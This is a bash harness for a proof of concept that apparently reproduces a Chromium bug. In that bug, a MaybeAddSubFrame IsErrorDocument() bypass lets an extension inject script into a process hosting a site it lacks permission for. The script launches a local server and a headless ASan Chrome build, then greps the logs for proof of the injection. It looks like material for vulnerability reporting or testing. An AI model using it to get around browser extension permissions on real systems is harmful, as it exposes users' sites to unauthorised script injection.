#!/bin/bash
# Reproduces the MaybeAddSubFrame IsErrorDocument() bypass.
#
# Success criterion: a "[POC][ScriptInjectionTracker] AddScript(...)" line for
# the *same process* that hosts http://b.test (the attacker site the extension
# does NOT have permission for), via a frame with is_error_doc=1 and
# url=http://a.test:18080/blocked.

set -e
HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE="$(mktemp -d /tmp/chrome-poc-XXXXXX)"
LOG="${LOG:-/tmp/poc-chrome.log}"
SECS="${SECS:-15}"
PORT="${PORT:-18080}"

cleanup() {
  [[ -n "$SRV_PID" ]] && kill "$SRV_PID" 2>/dev/null || true
  [[ -n "$CHROME_PID" ]] && kill "$CHROME_PID" 2>/dev/null || true
  rm -rf "$PROFILE"
}
trap cleanup EXIT

# Start server
python3 "$HERE/server.py" "$PORT" &
SRV_PID=$!
sleep 1

# Run Chrome (headless=new so extensions load without an X display).
# --no-sandbox / --disable-gpu are environment-only flags; they do not affect
# the vulnerable code path.
"$CHROME" \
  --headless=new \
  --no-sandbox \
  --disable-gpu \
  --no-first-run --no-default-browser-check \
  --disable-component-update \
  --user-data-dir="$PROFILE" \
  --load-extension="$HERE/extension" \
  --host-resolver-rules='MAP *.test 127.0.0.1' \
  --site-per-process \
  --enable-logging=stderr --v=0 \
  "http://a.test:$PORT/target.html" \
  >"$LOG" 2>&1 &
CHROME_PID=$!

# Give it time to load all frames + extension to inject.
sleep "$SECS"
kill "$CHROME_PID" 2>/dev/null || true
wait "$CHROME_PID" 2>/dev/null || true

echo
echo "==================== [POC] proof ===================="
grep -E '\[POC\]|\[ext\]|Content Security Policy' "$LOG" || true
echo "====================================================="
